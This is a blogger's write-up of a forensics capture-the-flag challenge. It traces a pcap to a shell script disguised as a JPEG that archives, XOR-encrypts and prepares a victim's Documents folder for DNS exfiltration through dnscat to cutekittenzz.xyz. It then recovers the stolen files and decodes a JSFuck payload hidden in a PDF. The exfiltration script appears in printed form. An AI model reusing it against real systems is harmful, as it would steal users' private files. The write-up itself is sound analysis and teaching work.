Writeup: Kattastrofen ๐
A friend wrote me today, said there was a challenge up on fra.se, and I was kinda itching for something to do so i jumped to it. The challenge in question was “Kattastrofen”, which only gives you a pcap file to play around with and some flavour text alluding to “someone having run malicious code which exfiltrated top secret data from their machine”. The readme says there will be three flags, in the format flagga[1-3]{[a-zรฅ-รถ0-9_!]+}
. With little information to go on there is really only one reasonable starting point: Wireshark!
Flag 1: Basic Wireshark ๐
Wireshark, and its commandline counterpart tshark
, are very flexible packet capture- and analysis tools which can be used in forensic cases like this to investigate how different agents on a network communicated with eachother. The first thing I saw when opening the pcap in Wireshark was the HTTP traffic between a client (10.0.0.10
) and a normal enough looking webserver (10.0.0.1
). I could see that there was the typical GET requests for the site root, and the GET for the style.css
file. Then there are some requests for some JPEGs with “kitten” in the filenames, and then a zip file which piqued my curiosity.
Naturally I took the lazy route and used Wireshark’s builtin object export to retrieve the files in the exchange. It simply looks at the data segments of a given protocol and stitches the transmitted files back together for you. The export yielded an HTML file, a zip file, a favicon, a css file, and a whole bunch of cat JPEGs which was to be expected from the transmission we looked at earlier. Only the first two turned out to be interesting, as the zip file was password protected with a string that was printed in bold text right across the page. We could have just as easily seen this in Wireshark if we had inspected the response to the first GET request, but I find that taking this route lends itself to a clearer overview for the general forensics case. In the zip archive we find a bunch more cat JPEGs and our first flag in a file called flag.txt
:
flagga1{klassiska_lรถsenord_fรถr_100}
Flag 2: Meeting Dennis ๐
What happened here really? ๐
So looking further at the original pcap, we see that there was a large block of DNS queries that look awfully suspicious. DNS is usually meant to resolve domain names to IP addresses, but these queries were for very strange domains. The structure was a number of subdomains that looked a lot like hexadecimal followed by cutekittenzz.xyz
, which clearly indicates a DNS data exfiltration, and pretty rudimentary one at that. Simply put, the attacker is able to send DNS requests to a server they control from a machine they wish to exfiltrate data from. In these DNS requests they include subdomains with that data encoded, most usually in hexadecimal form. In the server they control they can later stich all these subdomain names together to recreate the file they exfiltrated. DNS exfiltration is used when subterfuge is important, as DNS is hard to block on a network level because of how desirable keeping it open is. If you put too large restrictions on DNS the internet will just start breaking for network users. The subterfuge is however pricy as it is comparatively slow since you are limited to just a few bytes per request, which there aren’t going to be a lot of if you want to keep that low profile.
Most modern IDS systems would scream and shout just based on how the subdomains looked, and the fact that there was suddenly a huge spike in DNS traffic to a previously unrecognized domain. This can also be circumvented by using the DNS packet header data instead of the name field, but then you are reducing your data transmission rate from bytes per request to bits per request. This makes it overall harder to detect a data spike, but you still run the issue of sending a lot of DNS queries for similar domains. Though this behavior is similar to how a lot of modern CDNs work, meaning that if you can mimic this behavior by clustering some cloud nodes, the exfiltration becomes all the harder to detect. Although at the end of the day, it is hard to beat TLS for secure data transfer and detecting exfiltration over HTTPS is increasingly difficult as its usage increases in scope more and more.
So now we know where our exfiltrated data is in the pcap, we just need to figure out how it got there in the first place. Looking around the archive extracted earlier, we can quickly find a bit of an outlier among the files: kitten-3.jpg
which is far larger than the other JPEGs, and lacks a thumbnail image. This is because it is actually not a JPEG at all but a shell script that has just had the filename changed to make it look like an image. Most operating systems will still trust the file extension on a given file, even though it can be simply any data in there. This is a case of very basic steganography, which is the practice of hiding data within other data for the purpose of obfuscation. Taking a look at the contents of the file we see that it is a script meant to exfiltrate all the data in the executing users Documents directory.
#!/bin/bash
D=$(dirname "$0")
eog "$D/kitten-9.jpg" &
key="P1yq59jxFvIGgyebMmzgQIx6f/ng0fmK+N5+kDdBcgU="
echo $key |base64 -d > /tmp/key
tar cf - $HOME/Documents > /tmp/exfil.tar
echo "EXFIL $(date)" > /tmp/exfil.dat
echo "SIZE: $(stat -c%s /tmp/exfil.tar)" >> /tmp/exfil.dat
md5sum /tmp/exfil.tar >> /tmp/exfil.dat
echo "BEGIN DATA" >> /tmp/exfil.dat
paste <(od -An -vtu1 -w1 /tmp/exfil.tar) <(while :; \
do od -An -vtu1 -w1 /tmp/key; done) \
| LC_ALL=C awk 'NF!=2{exit}; {printf "%c", xor($1, $2)}' \
| base64 >> /tmp/exfil.dat
echo "END DATA" >> /tmp/exfil.dat
...
First it pops up kitten-9.jpg
with Eye of Gnome, a common image viewer that ships in a lot of Linux distros by default, so you have something cute to look at while you’re being robbed. It adds your entire Documents directory to a tar archive file, so it can be transmitted in a single go. Then the header for an exfiltration file is created, which includes the current date, the size of the tar archive as well as a checksum for it so that the transmission of the contents can be verified at the other end. Then the tar archive is passed through a function which uses the pre-defined key in an XOR-cipher to encrypt the entire tar file before it is appended to the end of the file. Calling this encryption hinges on a technicality, it really is so weak that it is basically just an encoding at this keysize. However if you extend the key to be as long as the file being encrypted, then the cipher is considered an unbreakable One Time Pad. Just don’t go on to reuse the same key since that reduces the keysize relative to the amount of data transmitted, landing you in the same problem as earlier but with more steps.
After this there is a huge blob of Base64 encoded data which gets decoded and shoved into a file named mjau
, which subsequently gets executed with cutekittenzz.xyz
, as an argument. Since that is the domain we saw in the exfiltration datasteam, we can assume this was the binary blob with which the exfiltration itself was carried out. Decoding it ourselves reveals that this is very much the case as it is a minimal version of dnscat, a tool used for exactly this kind of work. Knowing this we have everything we need now to retrieve the data from the pcap file!
The lost top secret document ๐
We can use Wiresharks sibling tshark
to get all the data we need from the pcap, while filtering out data that we don’t need. The DNS packet structure means there is a header and kind of a footer as well which we would need to account for if we used the dump right off the bat. But using the filtering function in tshark
we can get just the name field, which is what we want here. We specify the command in such a way that we only get the name field of DNS queries which have the source 10.0.0.10
and output it all into a text file to hold it for further processing:
tshark -r kattastrofen.pcap \
-T fields -e dns.qry.name \
-Y "ip.src == 10.0.0.10 and dns" > dennis.txt
And we end up with something looking like this (a bit truncated for your viewing pleasure)
01e6002b176dba0021636f6d6d616e6420287562756e74752900.cutekittenzz.xyz
11e9012b176dbaec63.cutekittenzz.xyz
4da6012b176dbaec63.cutekittenzz.xyz
9e6f012b176dbaec63.cutekittenzz.xyz
3b0a012b176dbaec63.cutekittenzz.xyz
ff37012b176dbaec63.cutekittenzz.xyz
61ea012b176dbaec63.cutekittenzz.xyz
3a0b012b176dbaec63.cutekittenzz.xyz
500b012b176dbaec7a0007cfcc80010003455846494c204d6f6e20303520.46656220323032342030353a30393a303220414d205053540a53495a453a.203337383838300a39643962333734633333613836373266386638663161.6638373164376430346620202f746d.cutekittenzz.xyz
bcf5012b176e1aec7a702f657866696c2e7461720a424547494e20444154.410a567a5048677665455a5a64307247503055526d4e4a65494f444e6267.30666d4b2b4e352b6b4464426367552f584b726e32504557386761444a35.7379624f42416a48702f2b6544522b.cutekittenzz.xyz
abe0012b176e7aec7a5972340a336e36514e304679425439637175665938.526279426f4d6e6d7a4a733445434d656e2f35344e483569766a65667041.335158494650317971352b6a424a73497874684b62416c7a51636274500a.542f6e5134636d377a2b744f6b4164.cutekittenzz.xyz
Just looking at it with my primate eyes I spotted pattern pretty quick, that the first four characters varied a lot, the subsequent 14 were relatively static and then it became very varied again. This indicated that the first 18 bytes were some sort of header, which might interfere with how we stitch this file together later. So I went to the first intuative thing that came to mind to manage text data: Python!
First we need to just get the data separated from all the clutter, which we can do with this python list comprehension.
data = [x.split(".")[:-2] for x in open("dennis.txt").readlines() if x]
Then, we need to convert it from hexadecimal to raw binary so we can work with it easier. Luckily Python enables this type conversion very easily, so another list comprehension it is. In this step I also discard the useless 18 byte header data.
data = [bytes.fromhex("".join(blob)[18:]) for blob in data]
Now we have the full .dat file that the script in kitten-03.jpg
created! But we are only really interested in recovering the exfiltrated tar file, which we know is between the BEGIN DATA and END DATA points in the file, so we can use split to carve it out. Then it is just a matter of decoding it, and while it is obvious that it is Base64 data just by looking at it, we also know this from the script.
import base64
b64_data = b"".join(data).split(b"BEGIN DATA")[-1].split(b"END DATA")[0]
decoded_data = base64.b64decode(b64_data)
Now we have the raw binary data, but they encrypted it with an XOR cipher meaning we have to add the step of decrypting it before we can look inside. This is easily done, since they left the key in the script! We just need to decode that, then loop over the encrypted data to get the cleartext out.
decoded_key = base64.b64decode("P1yq59jxFvIGgyebMmzgQIx6f/ng0fmK+N5+kDdBcgU=")
decrypted_data = bytearray()
for i, byte in enumerate(decoded_data):
decrypted_data.append(byte ^ decoded_key[i%len(decoded_key)])
open("out.tar", "wb").write(decrypted_data)
In out.tar
we find just what we expect, a directory tree going from /
straight down to the users documents where we find topphemligt.pdf
. The PDF contains a picture of a cat, which seems very in character for our victim, with the second flag printed over it
flagga2{every_day_is_caturday}
Flag 3: ClusterJSfuck ๐
The truth within the truth ๐
I had a quick look through the other files at this point to see if I had missed anything, but after finding no leads I returned back to the PDF. PDF steganography is pretty common, since PDFs can carry various types of objects which can be displayed or hidden from regular PDF viewers very easily. But after simply opening the PDF in a text editor something stood out to me immediately, a JavaScript object with some more hexadecimal in it.
3 0 obj
<<
/Type /Action
/S /JavaScript
/js <5B5D ... 0A0A>
>>
endobj
Decoding the hexadecimal gave this incredibly disheartening result. It goes on for a bit more than 23kB total, so yet again truncated for your viewing pleasure.
[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])...
I didn’t immediately recognize it, first mistaking it for the popular EsoLang Brainfuck. But since that doesnt implement !
my search continues. I quickly found JSFuck, a language I had heard of in some talk or discussion or something way back, and it sounded reasonable since it came out of a JavaScript object. As opposed to Brainfuck, JSFuck is built to almost be useful since it can run in a lot of modern JavaScript engines which makes it pretty useful for obfuscation. If you are going to smuggle a malicious payload past an IPS or just a clientside anti-malware system, you need to go through at least a few steps of obfuscating it so that it doesn’t get caught by simple fingerprinting techniques. Turning your malicious JavaScript code snippet into JSFuck would certainly accomplish this at the cost of making it comparatively huge. I used this wonderful decoder by this frontend developer who clearly has far more patience in their pinky than I ever will in my entire being. The decoder returned a very simple snippet of JavaScript code.
const data = [
0n,
16777216n,
963362762567186450219276n,
1227815285621149424943362n,
4251180420234710034485506n,
1227908978741191150735617n,
1228942000327703451209986n,
1229089574843243084713986n,
1229089574913611821027586n,
1276163323341699551654156n,
1170935903267323904n,
16393102643729268736n
];
if(0.1 + 0.2 == 0.3) {
let str = "";
for(let x of data) {
str += x.toString(2).padStart(106, '0') + "\n";
}
app.alert(str.replaceAll("0", " ").replaceAll("1", "."));
}
Given that I am pathologically terrified of JavaScript, I rewrote it in Python which made it far prettier to my eyes as well.
data = [
0,
16777216,
963362762567186450219276,
1227815285621149424943362,
4251180420234710034485506,
1227908978741191150735617,
1228942000327703451209986,
1229089574843243084713986,
1229089574913611821027586,
1276163323341699551654156,
1170935903267323904,
16393102643729268736
]
outstr = ""
for x in data:
outstr += bin(x)[2:].rjust(106, "0").replace("0", " ").replace("1", ".") + "\n"
print(outstr)
Which when executed prints the final flag in cute ASCII art. But it is interesting how they add this other layer of obfuscation that is also commonly used in malicious code. You can very effectively turn the bytes of your malware into integers and come up with strange ways of concatenating them. This can also be done algorithmically to give a sort of polymorphism which can facilitate easier spread of the payload in the future. But here is our journey’s end since we have now retrieved the last flag.
flagga3{mj4u!}
Conclusion ๐
The challenge was four hours or so of fun with some pretty varied puzzles to solve. I was impressed with how close to reality they chose to keep the challenge, though using some methods that are less common nowadays. It felt a lot like a textbook breach from the late naughties, given the exfiltration strategy and the obfuscation methods. But it is not as if attackers have advanced all that far except the more professional cases. These kinds of attacks still occur on less secured networks, in home networks for instance, since not all environments are set up to the standards needed to detect this kind of attack. While the structure of the challenge left some question marks, like how the victim ended up executing the malicious script (I suspect the humble double click is but my nautilus disagreed when i tried it), it was one of the better ones I’ve played in a chill context such as this and made for wonderful evening entertainment. I may well do some more one-offs and make little writeups like this in the future as well!